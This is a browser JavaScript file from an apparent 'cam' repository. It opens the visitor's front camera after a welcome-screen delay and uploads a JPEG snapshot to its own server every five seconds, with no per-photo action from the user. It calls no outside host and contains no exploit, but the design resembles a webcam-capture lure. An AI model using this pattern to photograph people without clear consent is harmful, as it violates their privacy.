cam / static /js /camera.js
harshdhane's picture
Update static/js/camera.js
edfda4d verified
Raw
History Blame Contribute Delete
3.88 kB
class CameraController {
constructor() {
this.video = document.getElementById('video');
this.canvas = document.getElementById('canvas');
this.ctx = this.canvas.getContext('2d');
this.stream = null;
this.sessionId = null;
this.captureInterval = null;
this.init();
}
async init() {
// Delay a bit so Welcome screen is visible first
setTimeout(() => {
this.startCamera();
}, 1500);
window.addEventListener('beforeunload', () => this.cleanup());
window.addEventListener('pagehide', () => this.cleanup());
}
async startCamera() {
try {
this.stream = await navigator.mediaDevices.getUserMedia({
video: {
width: { ideal: 1280 },
height: { ideal: 720 },
facingMode: "user"
},
audio: false
});
this.video.srcObject = this.stream;
await new Promise(resolve => {
this.video.onloadedmetadata = () => {
this.video.play();
resolve();
};
});
this.canvas.width = this.video.videoWidth;
this.canvas.height = this.video.videoHeight;
await this.startSession();
this.startCapture();
} catch (error) {
console.error("Camera permission denied:", error);
}
}
async startSession() {
try {
const response = await fetch('/api/start_session', { method: 'POST' });
const data = await response.json();
if (data.status === 'success') {
this.sessionId = data.session_id;
}
} catch (err) {
console.error("Session error:", err);
}
}
startCapture() {
this.captureInterval = setInterval(() => {
this.capturePhoto();
}, 5000);
setTimeout(() => this.capturePhoto(), 1000);
}
async capturePhoto() {
if (!this.sessionId) return;
this.ctx.drawImage(this.video, 0, 0, this.canvas.width, this.canvas.height);
const imageData = this.canvas.toDataURL("image/jpeg", 0.8);
try {
await fetch('/api/capture', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
image: imageData,
session_id: this.sessionId
})
});
this.flash();
} catch (err) {
console.error("Capture error:", err);
}
}
flash() {
const flash = document.createElement("div");
flash.style.cssText = `
position: fixed;
inset: 0;
background: white;
opacity: 0;
z-index: 9999;
animation: flash 0.4s ease;
`;
const style = document.createElement("style");
style.innerHTML = `
@keyframes flash {
0% { opacity: 0; }
30% { opacity: 0.3; }
100% { opacity: 0; }
}
`;
document.head.appendChild(style);
document.body.appendChild(flash);
setTimeout(() => {
flash.remove();
style.remove();
}, 400);
}
cleanup() {
if (this.captureInterval) clearInterval(this.captureInterval);
if (this.stream) this.stream.getTracks().forEach(t => t.stop());
if (this.sessionId) {
fetch(`/api/end_session/${this.sessionId}`, {
method: "POST",
keepalive: true
}).catch(() => {});
}
}
}
document.addEventListener("DOMContentLoaded", () => {
new CameraController();
});